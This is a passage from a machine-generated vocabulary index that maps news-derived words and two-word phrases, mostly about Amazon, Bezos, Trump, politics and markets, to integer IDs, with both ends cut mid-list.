"succeeded unfortunately": 149234, "matthew ramsay": 149235, "rivers": 149236, "nancy redd": 149237, "intelligence experts": 149238, "242 price": 149239, "follow stringent": 149240, "alibaba subscribe": 149241, "rising crude": 149242, "investors today": 149243, "smartphone patent": 149244, "pecker prior": 149245, "sixfold": 149246, "growth motivated": 149247, "variously disparaging": 149248, "courting amazon": 149249, "materially": 149250, "low facebook": 149251, "stronger half": 149252, "closet spinning": 149253, "hash browns": 149254, "actresses": 149255, "best lobbyists": 149256, "citing statement": 149257, "ceo controversies": 149258, "overall percentage": 149259, "baskets": 149260, "longstanding humanitarian": 149261, "charges stemming": 149262, "westworld hotstar": 149263, "attack political": 149264, "battlefield popular": 149265, "tax law": 149266, "browndailyherald": 149267, "enquirer labelled": 149268, "trump carter": 149269, "gop volunteers": 149270, "current visibility": 149271, "2014 midterm": 149272, "1543527677": 149273, "complex balls": 149274, "educational material": 149275, "1993 wedding": 149276, "alibaba": 149277, "counterfeits hide": 149278, "general understanding": 149279, "market prep": 149280, "gaining": 149281, "reported jan": 149282, "nyc gov": 149283, "hoovering": 149284, "appeared trump": 149285, "country deadliest": 149286, "washes": 149287, "trump teller": 149288, "ohio": 149289, "gf home": 149290, "brands need": 149291, "raids": 149292, "relationship dynamics": 149293, "869": 149294, "constant attacks": 149295, "immigrants city": 149296, "scott renda": 149297, "tax makes": 149298, "buy properties": 149299, "congress representing": 149300, "howard sent": 149301, "feb allen": 149302, "questionable": 149303, "totaled": 149304, "horse": 149305, "marijuana pelosi": 149306, "industrials average": 149307, "face hacking": 149308, "fiduciary": 149309, "sara": 149310, "super classy": 149311, "author alan": 149312, "china saudi": 149313, "initiative runs": 149314, "transgender organization": 149315, "buffalo electrifying": 149316, "dennett": 149317, "hardly worth": 149318, "normally reserves": 149319, "body diet": 149320, "destroy families": 149321, "cuisine edward": 149322, "senate tanked": 149323, "dotcom": 149324, "michael leaked": 149325, "law new": 149326, "uks": 149327, "fscavo jon": 149328, "wespac advisors": 149329, "netflix photo": 149330, "panel james": 149331, "github redhat": 149332, "weaker": 149333, "private interests": 149334, "customers doors": 149335, "retailing world": 149336, "springer 2018": 149337, "sessions political": 149338, "attacked nordstrom": 149339, "just rejected": 149340, "isn crazy": 149341, "advantage aside": 149342, "group uber": 149343, "create challenging": 149344, "cnn josh": 149345, "new buildings": 149346, "amazon plan": 149347, "state auditor": 149348, "charisma": 149349, "dejoy trump": 149350, "help provide": 149351, "getting boost": 149352, "gum": 149353, "fb": 149354, "huseman answer": 149355, "retaken half": 149356, "q8 l7": 149357, "dds": 149358, "conference survey": 149359, "week hearing": 149360, "visit donald": 149361, "insteaad": 149362, "beverage": 149363, "interesting fantasies": 149364, "glossy magazine": 149365, "child terrorist": 149366, "jordan killed": 149367, "punishable": 149368, "catholicedchat vaticannews": 149369, "stocks post": 149370, "darkness approach": 149371, "global sales": 149372, "winners pivot": 149373, "tamara jenkins": 149374, "mexican": 149375, "whitney tilson": 149376, "files wordpress": 149377, "fide": 149378, "martha": 149379, "amazon esdc": 149380, "ccpa demonstrates": 149381, "dined": 149382, "2020 americans": 149383, "schemes": 149384, "misinterpreted": 149385, "advised jeff": 149386, "riverchase": 149387, "hambach special": 149388, "paul dunkin": 149389, "dumps tchaikovsky": 149390, "600 products": 149391, "probably trying": 149392, "choreographed": 149393, "news suggested": 149394, "northgate": 149395, "remain comfortable": 149396, "firm leading": 149397, "kale mean": 149398, "offers unit": 149399, "slippery": 149400, "confidentiality privilege": 149401, "hold extreme": 149402, "present controls": 149403, "investigating individuals": 149404, "advantage program": 149405, "daniel webster": 149406, "stop alleged": 149407, "public plazas": 149408, "baby cribs": 149409, "mueller did": 149410, "siegfried evansiegfried": 149411, "expectations": 149412, "heavy industry": 149413, "engineering background": 149414, "student leader": 149415, "groves israel": 149416, "paper": 149417, "divorce outside": 149418, "company lina": 149419, "commissioned second": 149420, "senate passes": 149421, "travelex 2020": 149422, "producthash": 149423, "market eisen": 149424, "hamper mueller": 149425, "heed": 149426, "court judge": 149427, "counterfeiters 2019": 149428, "nielsen house": 149429, "car": 149430, "thompson wall": 149431, "identify additional": 149432, "permas permos_as": 149433, "accused tech": 149434, "killed trump": 149435, "content subscription": 149436, "report actually": 149437, "editing technology": 149438, "devotee": 149439, "mexican firebrand": 149440, "relative improvement": 149441, "fired comey": 149442, "biggest marketing": 149443, "thing really": 149444, "president pro": 149445, "concert venue": 149446, "employer legal": 149447, "anthony bourdain": 149448, "extension prevents": 149449, "losses mainly": 149450, "company tweeting": 149451, "crime prevention": 149452, "amazon alexas": 149453, "google surreptitious": 149454, "pimple pete": 149455, "double entendre": 149456, "johns": 149457, "hotel concerns": 149458, "life saving": 149459, "prim": 149460, "way sex": 149461, "corpocracy": 149462, "management style": 149463, "food recipes": 149464, "rights movement": 149465, "neighbors read": 149466, "administration anti": 149467, "know guys": 149468, "dortch": 149469, "clinton donor": 149470, "sandra jolley": 149471, "filler": 149472, "voters surge": 149473, "senate include": 149474, "grandfather retired": 149475, "site really": 149476, "wife trump": 149477, "loans katera": 149478, "gain according": 149479, "sends stories": 149480, "additionally ripped": 149481, "validate bezos": 149482, "articlebundlehash server719403": 149483, "freightwaves previously": 149484, "retail companies": 149485, "tejal": 149486, "sails boasts": 149487, "cbs amazon": 149488, "isn new": 149489, "yorkers specifcally": 149490, "growth despite": 149491, "cecilia": 149492, "route possible": 149493, "consider options": 149494, "ugliest site": 149495, "var w0": 149496, "nb left": 149497, "charging cables": 149498, "chinese currency": 149499, "employees pay": 149500, "garland reports": 149501, "360 basis": 149502, "famous charles": 149503, "class workers": 149504, "drake pusha": 149505, "leader read": 149506, "beach resort": 149507, "indiana democrats": 149508, "hillbilly": 149509, "armoured car": 149510, "year logistics": 149511, "lynch": 149512, "plus valuation": 149513, "nyvm5vth9k alexandria": 149514, "219 shares": 149515, "small tallahassee": 149516, "meet": 149517, "force offer": 149518, "dc information": 149519, "administration explaining": 149520, "announce new": 149521, "gruesome ethnic": 149522, "24th": 149523, "tenfold increase": 149524, "positioning": 149525, "containerid playerid": 149526, "giant ongoing": 149527, "local elected": 149528, "psssttt": 149529, "service brennan": 149530, "nigeria": 149531, "height 173": 149532, "isn justice": 149533, "degree jeff": 149534, "late arriving": 149535, "investors praising": 149536, "2bn": 149537, "anguish yes": 149538, "school kavanaugh": 149539, "painted aspart": 149540, "constellations diyah": 149541, "raise dividends": 149542, "underperforming": 149543, "nightmarish": 149544, "vaccine retail": 149545, "2300": 149546, "rohwer comms": 149547, "bicycle": 149548, "videoloader window": 149549, "whipped": 149550, "status 1029803793272250368": 149551, "time emmy": 149552, "consult showed": 149553, "magazine mediawatch": 149554, "thriller novel": 149555, "ivw stake": 149556, "make statement": 149557, "conflate amazon": 149558, "index fds": 149559, "podcasty mood": 149560, "human powered": 149561, "statesmen trump": 149562, "scandal prince": 149563, "follows ongoing": 149564, "lobby according": 149565, "employed workers": 149566, "ad duopoly": 149567, "leaving brick": 149568, "key sticking": 149569, "gianaris astoria": 149570, "services deserving": 149571, "smokehouse kansas": 149572, "disagreements": 149573, "allegedly stifling": 149574, "transportation center": 149575, "digital services": 149576, "decidedly bearish": 149577, "litigators": 149578, "child deputy": 149579, "worth 156": 149580, "succeeds insurers": 149581, "intel stock": 149582, "public money": 149583, "shoppers scan": 149584, "machines corp": 149585, "zakaria": 149586, "dumped": 149587, "smuggling cartels": 149588, "brands recognized": 149589, "fy2020 transportation": 149590, "sought story": 149591, "tests japan": 149592, "way barack": 149593, "jpmorgan gaining": 149594, "cournoyer paramount": 149595, "little geniuses": 149596, "navarro relayed": 149597, "divisional level": 149598, "tjv reported": 149599, "stock prices": 149600, "adobe account": 149601, "sales employee": 149602, "wage cashier": 149603, "9000 rain": 149604, "minded": 149605, "incompetence moral": 149606, "buy instagram": 149607, "month twitter": 149608, "amazon evil": 149609, "income areas": 149610, "msh afp": 149611, "making mistake": 149612, "amazon bet": 149613, "colonists": 149614, "airbus announced": 149615, "finally published": 149616, "miles ohanian": 149617, "icons": 149618, "groups including": 149619, "press entertainment": 149620, "job assisting": 149621, "standing abroad": 149622, "fishing ibama": 149623, "possibly getting": 149624, "mccammond": 149625, "solid pro": 149626, "leni journey": 149627, "international film": 149628, "really painful": 149629, "continued prefer": 149630, "giro italia": 149631, "rod": 149632, "understood anxiety": 149633, "excerpt": 149634, "2019 speaking": 149635, "corp symc": 149636, "150 plus": 149637, "cigar sold": 149638, "apart want": 149639, "delivers brazilian": 149640, "personal data": 149641, "electronics exporters": 149642, "existing reserves": 149643, "unneeded subsidies": 149644, "affair according": 149645, "bernstein president": 149646, "009cd8 cnl_calculated_color": 149647, "kent washington": 149648, "relations experts": 149649, "inc_homepage_headline null": 149650, "love life": 149651, "low ceo": 149652, "expected slower": 149653, "equity": 149654, "leading contender": 149655, "book currently": 149656, "nov 2018": 149657, "100 access": 149658, "bashes spike": 149659, "warming fracking": 149660, "roast chicken": 149661, "economy right": 149662, "amazon million": 149663, "bolsonaro threaten": 149664, "business aws": 149665, "peter hasson": 149666, "named china": 149667, "light": 149668, "air mail": 149669, "order easy": 149670, "say trump": 149671, "unknowingly benefited": 149672, "worst financial": 149673, "border shutdown": 149674, "little changed": 149675, "shelter amazon": 149676, "professionals cool": 149677, "347 966": 149678, "based hanson": 149679, "presidential medal": 149680, "teetering": 149681, "powered real": 149682, "justify": 149683, "exotic merchandise": 149684, "agriculture infrastructure": 149685, "money owed": 149686, "company delivery": 149687, "tolowercase r4ee": 149688, "investigation revealed": 149689, "bbva compass": 149690, "dining room": 149691, "jo": 149692, "3rd recession": 149693, "dollar joint": 149694, "commends": 149695, "hippy": 149696, "obama stimulus": 149697, "disinformation mounting": 149698, "policy reason": 149699, "startup report": 149700, "poem captioning": 149701, "monopolistic behavior": 149702, "dorothy": 149703, "sham": 149704, "000 square": 149705, "insists support": 149706, "offices amazon": 149707, "reverse trump": 149708, "cs": 149709, "blake": 149710, "federal service": 149711, "valuation plus": 149712, "role loudoun": 149713, "shares portland": 149714, "1040 form": 149715, "trump rising": 149716, "videocollectiondivid cn": 149717, "environmental concerns": 149718, "pressure making": 149719, "coronary heart": 149720, "solutions lc": 149721, "wamhoff itep": 149722, "chief probably": 149723, "grills tom": 149724, "847 million": 149725, "facebook deal": 149726, "user base": 149727, "rebel ai": 149728, "hometowns": 149729, "gate manager": 149730, "house veneer": 149731, "landings renovation": 149732, "bustling": 149733, "chair lied": 149734, "white kicks": 149735, "chains including": 149736, "whistling": 149737, "175 share": 149738, "mentality": 149739, "megadonor": 149740, "weinberger": 149741, "conflict land": 149742, "york resulting": 149743, "vows protection": 149744, "doesn capture": 149745, "putting proxy": 149746, "jabbed bezos": 149747, "dispatch reported": 149748, "prowess amazon": 149749, "punish large": 149750, "turnbull": 149751, "2018 verde": 149752, "michael gormley": 149753, "falsely accusing": 149754, "silver mouthwash": 149755, "asking israelis": 149756, "way connected": 149757, "affected new": 149758, "high cash": 149759, "conglomerate": 149760, "e8": 149761, "called rabbit": 149762, "meddling policies": 149763, "vessel": 149764, "blogging site": 149765, "vaccine risks": 149766, "issued placating": 149767, "physical retail": 149768, "conservative christian": 149769, "good blofeldian": 149770, "year apple": 149771, "debate rages": 149772, "studying": 149773, "brainard earlier": 149774, "rail tall__head": 149775, "bore": 149776, "laws restricting": 149777, "room press": 149778, "explained clear": 149779, "post weighed": 149780, "billionaire portfolio": 149781, "maintenance costs": 149782, "experience amazon": 149783, "headquarterless model": 149784, "moscow smith": 149785, "romper": 149786, "computers new": 149787, "government issues": 149788, "distribution marty": 149789, "future aimee": 149790, "million making": 149791, "bonkers": 149792, "chart 2018": 149793, "twin peaks": 149794, "manhattan neighborhoods": 149795, "swarms": 149796, "flying car": 149797, "industry apple": 149798, "ad sales": 149799, "internal letter": 149800, "representatives elijah": 149801, "haymarket": 149802, "adds mute": 149803, "reconsidering": 149804, "definitely true": 149805, "provide 150": 149806, "cannibalized book": 149807, "che added": 149808, "lockers": 149809, "wryly finally": 149810, "related backlashes": 149811, "a4ee l1": 149812, "business mailing": 149813, "bezos strongly": 149814, "charles prince": 149815, "vulnerabilities purposely": 149816, "gotta": 149817, "fed lies": 149818, "diagnostics": 149819, "henry": 149820, "automaker": 149821, "california epa": 149822, "trump consistent": 149823, "suffer income": 149824, "met xi": 149825, "original story": 149826, "organization safer": 149827, "messages michael": 149828, "including researching": 149829, "later best": 149830, "boy shares": 149831, "impact analysis": 149832, "2018 including": 149833, "possible": 149834, "dc house": 149835, "causing prices": 149836, "bezos standing": 149837, "klein novel": 149838, "threatening bezos": 149839, "billion taxpayers": 149840, "play central": 149841, "flood": 149842, "obviously north": 149843, "notably tough": 149844, "company employees": 149845, "fincl": 149846, "connected murder": 149847, "single winner": 149848, "arabia sovereign": 149849, "nieves phyllis": 149850, "wrote seth": 149851, "chain cvs": 149852, "photographer hbo": 149853, "free zone": 149854, "110 sears": 149855, "tech mahindra": 149856, "desirable outcome": 149857, "dr king": 149858, "crimes subsequent": 149859, "adchoices": 149860, "delivery van": 149861, "discount glen": 149862, "state agreement": 149863, "head black": 149864, "separate subsidiary": 149865, "weapons congress": 149866, "biggest marketplace": 149867, "facilitate seamless": 149868, "pay 500m": 149869, "look just": 149870, "competitive concerns": 149871, "sure left": 149872, "filmed performing": 149873, "push a4ee": 149874, "eb a7": 149875, "17009396": 149876, "negotiates special": 149877, "aggressive investment": 149878, "significantly outperforming": 149879, "ntia discussion": 149880, "sector workers": 149881, "campaign halliburton": 149882, "conservatives tucker": 149883, "healthy older": 149884, "month worth": 149885, "really started": 149886, "mellon university": 149887, "college degrees": 149888, "rekognition capabilities": 149889, "nicknamed hq2": 149890, "marijuana": 149891, "sustainable profitability": 149892, "small screens": 149893, "colombian": 149894, "337 raised": 149895, "gripped": 149896, "geographic expansion": 149897, "white heartland": 149898, "hointer": 149899, "just telling": 149900, "record breaking": 149901, "highly visible": 149902, "techs rising": 149903, "bezos represented": 149904, "want share": 149905, "exploration": 149906, "rich josh": 149907, "ellison couple": 149908, "test new": 149909, "undergo review": 149910, "service business": 149911, "model khanna": 149912, "bates": 149913, "hiring seasonal": 149914, "broken ballot": 149915, "don follow": 149916, "nepal quake": 149917, "low breakup": 149918, "sold 181": 149919, "assassinated john": 149920, "approached woman": 149921, "media version": 149922, "premiership football": 149923, "bashed mail": 149924, "110 indigenous": 149925, "covers": 149926, "perry sandpaper": 149927, "new menu": 149928, "bezos predicted": 149929, "known address": 149930, "calia ivanka": 149931, "acceded": 149932, "yodeling walmart": 149933, "pressured": 149934, "w1 a4ee": 149935, "new drama": 149936, "targeting advertising": 149937, "land mines": 149938, "russian attempts": 149939, "immoral issue": 149940, "later finalize": 149941, "exas win": 149942, "just doesn": 149943, "johnson returns": 149944, "obtained new": 149945, "records release": 149946, "ilene": 149947, "celebrate alexandra": 149948, "angry democrats": 149949, "energy plans": 149950, "hannah check": 149951, "old south": 149952, "repeatedly likened": 149953, "bulking": 149954, "lawmaker introduced": 149955, "publishing suqar": 149956, "gain access": 149957, "major headache": 149958, "portfolio somerset": 149959, "toile monogram": 149960, "sanchez previously": 149961, "stock plummets": 149962, "adding insult": 149963, "marketplace services": 149964, "monopoly rents": 149965, "starbucks geekwire": 149966, "gross sales": 149967, "money manager": 149968, "upmarket": 149969, "sides make": 149970, "taskforce": 149971, "gigantic dividends": 149972, "paulo public": 149973, "eric broussard": 149974, "property report": 149975, "pinch owners": 149976, "entertainment advertising": 149977, "injustice": 149978, "image amazon": 149979, "mccain seat": 149980, "lampooning": 149981, "subcontractors": 149982, "incessant": 149983, "state actors": 149984, "state campaign": 149985, "london school": 149986, "bakeoff": 149987, "morning praised": 149988, "universal ai": 149989, "amazon collects": 149990, "romulus": 149991, "recently launched": 149992, "macron suggests": 149993, "cloud bartiromo": 149994, "promoted universal": 149995, "day dress": 149996, "s4a": 149997, "eat burrito": 149998, "deadly blaze": 149999, "fed philip": 150000, "political firestorm": 150001, "vwioeclof0": 150002, "falsify documents": 150003, "internet isn": 150004, "secured warm": 150005, "employees worldwide": 150006, "provides current": 150007, "day ellis": 150008, "provided funding": 150009, "ngo dedicated": 150010, "previously criticized": 150011, "typical characteristics": 150012, "heavily throttled": 150013, "development future": 150014, "gen bancha": 150015, "tonya": 150016, "trademark way": 150017, "systemically important": 150018, "brian ballard": 150019, "earnings grew": 150020, "communities policy": 150021, "upcoming meeting": 150022, "long focused": 150023, "paying users": 150024, "acquire target": 150025, "nuzzi olivianuzzi": 150026, "tablet technology": 150027, "divorce law": 150028, "previously returned": 150029, "toxic corporate": 150030, "negotiation amazon": 150031, "post catherine": 150032, "wacc": 150033, "alyssa rosenberg": 150034, "bll": 150035, "insider ownership": 150036, "largest shale": 150037, "olive second": 150038, "onsumers": 150039, "heard words": 150040, "repeated public": 150041, "invested inhabitant": 150042, "timing problem": 150043, "property policies": 150044, "awkward revelations": 150045, "orcl": 150046, "consulting company": 150047, "videos desktoplogo": 150048, "software engineer": 150049, "city keeps": 150050, "topics regardless": 150051, "japan kyodo": 150052, "speaking publicly": 150053, "amzn view": 150054, "funke airs": 150055, "bravado": 150056, "repping cnn": 150057, "saudi regime": 150058, "company furious": 150059, "shippers including": 150060, "hasn emerged": 150061, "parts shaved": 150062, "second autumn": 150063, "6jygtabh2v ted": 150064, "heuvelen kelli": 150065, "meaningfully improving": 150066, "city cuomo": 150067, "smoother": 150068, "hard questions": 150069, "wa xa": 150070, "delivery frequeny": 150071, "neighborhood built": 150072, "ftes amid": 150073, "multiple platforms": 150074, "photos help": 150075, "hateful": 150076, "external partners": 150077, "massive campus": 150078, "points theorized": 150079, "recent purchase": 150080, "whichever city": 150081, "make tipsters": 150082, "stripper": 150083, "2012 apple": 150084, "conservative operatives": 150085, "dicerna pharmaceuticals": 150086, "billion users": 150087, "logistical work": 150088, "waxman democrat": 150089, "youssef squali": 150090, "hq2 following": 150091, "2416 extends": 150092, "bowen thinks": 150093, "treme": 150094, "inquiries": 150095, "shipping guarantee": 150096, "fbi protects": 150097, "family days": 150098, "existing owners": 150099, "marketwatch cnbc": 150100, "read amazon": 150101, "business space": 150102, "prime wardrobe": 150103, "program politico": 150104, "ivanka": 150105, "transportation space": 150106, "honorable mention": 150107, "cited 2018": 150108, "falls somewhat": 150109, "possibly gotten": 150110, "tarp funds": 150111, "trumpers failed": 150112, "mitsui trust": 150113, "women having": 150114, "head pentagon": 150115, "agrandalliance": 150116, "father kill": 150117, "gas conference": 150118, "repetitive": 150119, "chris hayes": 150120, "wasn spy": 150121, "pavement": 150122, "middeninkomen": 150123, "establish process": 150124, "pushes new": 150125, "holiday quarter": 150126, "bars": 150127, "salt deduction": 150128, "versus trump": 150129, "service senator": 150130, "tax reforms": 150131, "gop run": 150132, "site google": 150133, "payment according": 150134, "dennisndee": 150135, "coding": 150136, "housekeeper named": 150137, "macdonald korth": 150138, "best served": 150139, "pricing plans": 150140, "hangout": 150141, "703": 150142, "market economy": 150143, "green": 150144, "r4ee k4e": 150145, "oust": 150146, "good stuff": 150147, "organization negotiated": 150148, "citing measured": 150149, "corporate siblings": 150150, "trending democratic": 150151, "view gallery": 150152, "art reminders": 150153, "eduardo": 150154, "brilliant spike": 150155, "different economy": 150156, "clandestine acquisition": 150157, "ago forbes": 150158, "propogated": 150159, "taxpayers thanks": 150160, "marcio": 150161, "diana lockhart": 150162, "patriotic": 150163, "nayef": 150164, "amazon women": 150165, "feet floor": 150166, "guardiola": 150167, "tariffs result": 150168, "exclusive twitter": 150169, "amazon string": 150170, "twist president": 150171, "ctia": 150172, "legislature sure": 150173, "fever czech": 150174, "recreation industry": 150175, "best time": 150176, "played strictly": 150177, "rare profit": 150178, "add george": 150179, "recommending possible": 150180, "notes leonid": 150181, "carpenters": 150182, "2018 oscar": 150183, "fortune according": 150184, "pubgmxaw pubgps4": 150185, "godwin julian": 150186, "cryengine": 150187, "feud taking": 150188, "eu aggressive": 150189, "agreements require": 150190, "tech reporter": 150191, "multiple areas": 150192, "wix": 150193, "networks state": 150194, "pressure larry": 150195, "operational centers": 150196, "rose according": 150197, "countries worldcupupdates": 150198, "emblem carnival": 150199, "blofeld": 150200, "say path": 150201, "gain instant": 150202, "gee sure": 150203, "policy speech": 150204, "videocardcontents showname": 150205, "catastrophic": 150206, "city weinstein": 150207, "knopf buy": 150208, "donahoe warned": 150209, "wall await": 150210, "races stack": 150211, "doubt genuinely": 150212, "eroding democracy": 150213, "hefty earnings": 150214, "senate finance": 150215, "witty interlude": 150216, "facist": 150217, "hikes package": 150218, "larger profits": 150219, "deploy dangerous": 150220, "freelancing": 150221, "signatories write": 150222, "dpid": 150223, "cybersecurity policy": 150224, "uploaded_files image": 150225, "simply stayed": 150226, "dark regarding": 150227, "attorney rudolph": 150228, "thebeholder": 150229, "multiply addressable": 150230, "entrepreneur jeff": 150231, "places bezos": 150232, "dad": 150233, "unidentified intruder": 150234, "adm jim": 150235, "history orig": 150236, "hq2 ended": 150237, "farrow isn": 150238, "month china": 150239, "wrong foot": 150240, "step aside": 150241, "lenovo 0992": 150242, "trump economy": 150243, "including testing": 150244, "original content": 150245, "hipster": 150246, "really fare": 150247, "included gifts": 150248, "putz": 150249, "government regulations": 150250, "1721086080 z4a": 150251, "sweetheart deal": 150252, "nbc patriots": 150253, "reuters hello": 150254, "personal reasons": 150255, "driving interior": 150256, "star rating": 150257, "yap": 150258, "calendar": 150259, "intopresident trump": 150260, "pecker north": 150261, "respective working": 150262, "world carbon": 150263, "republicans buck": 150264, "pence slammed": 150265, "provide housing": 150266, "banga": 150267, "partisan fund": 150268, "debt wti": 150269, "commission coalatree": 150270, "sylvia plath": 150271, "seen additional": 150272, "oedipal myth": 150273, "passive aggressive": 150274, "forbes billionaire": 150275, "analytics firm": 150276, "boycottwalmart": 150277, "bezos remarks": 150278, "britain": 150279, "effectively disrupt": 150280, "backed workers": 150281, "crimes seth": 150282, "news published": 150283, "injecting packages": 150284, "product portfolio": 150285, "direct line": 150286, "elliott bay": 150287, "closs": 150288, "amazon thinks": 150289, "sales slump": 150290, "adds dark": 150291, "zuckerberg amassed": 150292, "bank governors": 150293, "historic flooding": 150294, "previously presented": 150295, "shibabi character": 150296, "pegged": 150297, "company consults": 150298, "canvas": 150299, "listing titled": 150300, "erstwhile": 150301, "balance aside": 150302, "provide sort": 150303, "mass incarceration": 150304, "article does": 150305, "holdings google": 150306, "poll showed": 150307, "split fcc": 150308, "doing differently": 150309, "year given": 150310, "ray": 150311, "investor website": 150312, "wound business": 150313, "emilian papadopoulos": 150314, "amazon reaps": 150315, "state handles": 150316, "battle lawsuit": 150317, "gmt": 150318, "james comey": 150319, "clear amazon": 150320, "kept low": 150321, "drawn scrutiny": 150322, "nazi motorcycle": 150323, "trashing national": 150324, "bouugkgpyc": 150325, "link cars": 150326, "popularized": 150327, "acquired intangibles": 150328, "twitter pulled": 150329, "york bureau": 150330, "trump divide": 150331, "relinquishing": 150332, "awards documentar": 150333, "viewer question": 150334, "president mark": 150335, "enjoyed working": 150336, "immense project": 150337, "ben affleck": 150338, "bears": 150339, "infrastructure needed": 150340, "influential physicians": 150341, "trump expressed": 150342, "reviews usps": 150343, "fiji": 150344, "environmental challenges": 150345, "life escapades": 150346, "000 california": 150347, "support receive": 150348, "252 billion": 150349, "comedy michelle": 150350, "working remotely": 150351, "rampant conservative": 150352, "remaining vestige": 150353, "walls cross": 150354, "lii": 150355, "washington firm": 150356, "salles speaks": 150357, "parliament hill": 150358, "otc": 150359, "wohl": 150360, "video cassettes": 150361, "platform amazon": 150362, "prince visit": 150363, "winning movie": 150364, "amazon advised": 150365, "deepening partnership": 150366, "bowker authority": 150367, "york beginning": 150368, "invictus games": 150369, "late writer": 150370, "weapons washington": 150371, "page told": 150372, "punk": 150373, "highest institutional": 150374, "criminal statutes": 150375, "receiving counterfeit": 150376, "economic rocket": 150377, "subscriber additions": 150378, "patty rough": 150379, "surface": 150380, "zacks hottest": 150381, "school captives": 150382, "134 8b": 150383, "garofalo decided": 150384, "video stated": 150385, "amd cloud": 150386, "price consumers": 150387, "nathan mcdermott": 150388, "dossier politico": 150389, "reporters": 150390, "urges allies": 150391, "washington politics": 150392, "baptized": 150393, "investigation uncovered": 150394, "rob carrick": 150395, "isn buying": 150396, "satin": 150397, "officer safra": 150398, "jones rick": 150399, "early mid": 150400, "amazon ladd": 150401, "philanthropist shifted": 150402, "thoma": 150403, "aikman": 150404, "pentagon force": 150405, "taxes destroying": 150406, "represents arizona": 150407, "infiltrates": 150408, "northwest": 150409, "prerecorded": 150410, "section shows": 150411, "forcing employees": 150412, "downloadable software": 150413, "judicially": 150414, "howard emailed": 150415, "bankruptcy 2018": 150416, "bear pinzon": 150417, "amazon invasion": 150418, "distinct pleasure": 150419, "dui": 150420, "medellin cartel": 150421, "make series": 150422, "new hybrid": 150423, "special save": 150424, "day spike": 150425, "company coverage": 150426, "repressed": 150427, "digital publishing": 150428, "detection amazon": 150429, "financial results": 150430, "market gleefully": 150431, "billion rubenstein": 150432, "regularly slamming": 150433, "fines floyd": 150434, "captain toad": 150435, "chauffeured": 150436, "cnn brian": 150437, "sun tucking": 150438, "phone gps": 150439, "don bid": 150440, "jnj": 150441, "count buybacks": 150442, "trucks sit": 150443, "corporate campaigner": 150444, "investments usa": 150445, "margin electronics": 150446, "reporter marc": 150447, "pubgmhbd pubgmxaw": 150448, "kelly weekly": 150449, "computer science": 150450, "masks": 150451, "way day": 150452, "whitesell reportedly": 150453, "exploded governor": 150454, "southern japan": 150455, "caller": 150456, "mini capitalism": 150457, "stacey abrams": 150458, "companies looking": 150459, "crawford senior": 150460, "prudential standards": 150461, "geographically roughly": 150462, "back23": 150463, "resurgent": 150464, "establish cooperative": 150465, "performance usps": 150466, "callous": 150467, "patents licenses": 150468, "regime main": 150469, "financial deficit": 150470, "manufacturing renaissance": 150471, "residential space": 150472, "economic pullback": 150473, "strategic advisors": 150474, "capital isn": 150475, "policy ideas": 150476, "retailers postal": 150477, "months ahead": 150478, "shlock": 150479, "coalition announcement": 150480, "zinke": 150481, "uses earlier": 150482, "style": 150483, "yorkers spokesman": 150484, "shining": 150485, "administration position": 150486, "plans good": 150487, "house pass": 150488, "posts 2095956267355712": 150489, "haven read": 150490, "ytd": 150491, "easy begin": 150492, "docuseries sees": 150493, "buttercups": 150494, "charge toll": 150495, "recently explained": 150496, "neutral policies": 150497, "rights especially": 150498, "changing seattle": 150499, "fired fromtheir": 150500, "beneficiant jeff": 150501, "lenders": 150502, "saved alphabet": 150503, "beauty bezos": 150504, "prevent counterfeit": 150505, "cancelsits plans": 150506, "crash ohio": 150507, "card rate": 150508, "step lifespan": 150509, "network paying": 150510, "journal just": 150511, "built tell": 150512, "profitable unit": 150513, "president hours": 150514, "gonzales added": 150515, "amid subdued": 150516, "whales": 150517, "distribution footprint": 150518, "affecting widows": 150519, "period french": 150520, "booker cory": 150521, "cause animal": 150522, "slips": 150523, "haynes disappeared": 150524, "launch satellites": 150525, "affiliated opposition": 150526, "vote schedule": 150527, "price pronounced": 150528, "year eve": 150529, "pence speaks": 150530, "imaginative": 150531, "times 2020": 150532, "associate attorney": 150533, "tantalising possibility": 150534, "becker cited": 150535, "fenner": 150536, "moving fast": 150537, "shape women": 150538, "malicious deception": 150539, "debt debt": 150540, "sprayed": 150541, "book orders": 150542, "dannemora": 150543, "white quotes": 150544, "insurance ceo": 150545, "office receipts": 150546, "terms president": 150547, "riggs planning": 150548, "cost won": 150549, "print version": 150550, "hiding fair": 150551, "humpty": 150552, "s0 j8i": 150553, "reporters afterward": 150554, "residential nyse": 150555, "known companies": 150556, "individuals panelists": 150557, "potentially increasing": 150558, "honduran immigrants": 150559, "overpayment": 150560, "actually reads": 150561, "public infrastructure": 150562, "squeezing authors": 150563, "issue upstateamerica": 150564, "classroom today": 150565, "airplanes deutsch": 150566, "ipt selected": 150567, "central broad": 150568, "utf8 qid": 150569, "style hat": 150570, "mlk paulmanafort": 150571, "patricia sold": 150572, "republicans actually": 150573, "facebook euro": 150574, "escape home": 150575, "share amazon": 150576, "proxy report": 150577, "having": 150578, "deals culture": 150579, "project pilot": 150580, "far cruise": 150581, "high minded": 150582, "world canada": 150583, "boyle": 150584, "real functioning": 150585, "crony barack": 150586, "picketing boycotts": 150587, "important criteria": 150588, "prisoner transport": 150589, "crazy joe": 150590, "private messages": 150591, "formal processes": 150592, "kickers": 150593, "broke 150": 150594, "activists fear": 150595, "hateful ideologies": 150596, "college educated": 150597, "panama": 150598, "earthquakes": 150599, "adult tell": 150600, "democrats republican": 150601, "rubber stamp": 150602, "assume responsibility": 150603, "practices tony": 150604, "scandal colorado": 150605, "story crayton": 150606, "abducts": 150607, "potential investorplace": 150608, "trump speaks": 150609, "americanized": 150610, "jacked": 150611, "ruling clears": 150612, "stocks saw": 150613, "troop": 150614, "fvhowpfqiy": 150615, "journal peter": 150616, "think amazon": 150617, "serving cake": 150618, "contacting": 150619, "independent voice": 150620, "niniane wang": 150621, "smaller ones": 150622, "scott senate": 150623, "debates rep": 150624, "called tent": 150625, "jamescomey": 150626, "palmiotto owner": 150627, "defender yes": 150628, "thill": 150629, "nyregion": 150630, "whitelist": 150631, "favorite corporate": 150632, "include confederate": 150633, "classified": 150634, "wrestling": 150635, "york real": 150636, "gmos": 150637, "vietnamese recipes": 150638, "selling channels": 150639, "nba nfl": 150640, "executives realized": 150641, "tolling machines": 150642, "expressing outrage": 150643, "developer accounted": 150644, "dash aws": 150645, "trillion toll": 150646, "overwhelming evidence": 150647, "lower net": 150648, "medium shared": 150649, "sept amazon": 150650, "liberal challenges": 150651, "580 137": 150652, "need preschool": 150653, "miliband": 150654, "jobs post": 150655, "sons continue": 150656, "japanese billionaire": 150657, "mail bezos": 150658, "money 2019": 150659, "inaccurate 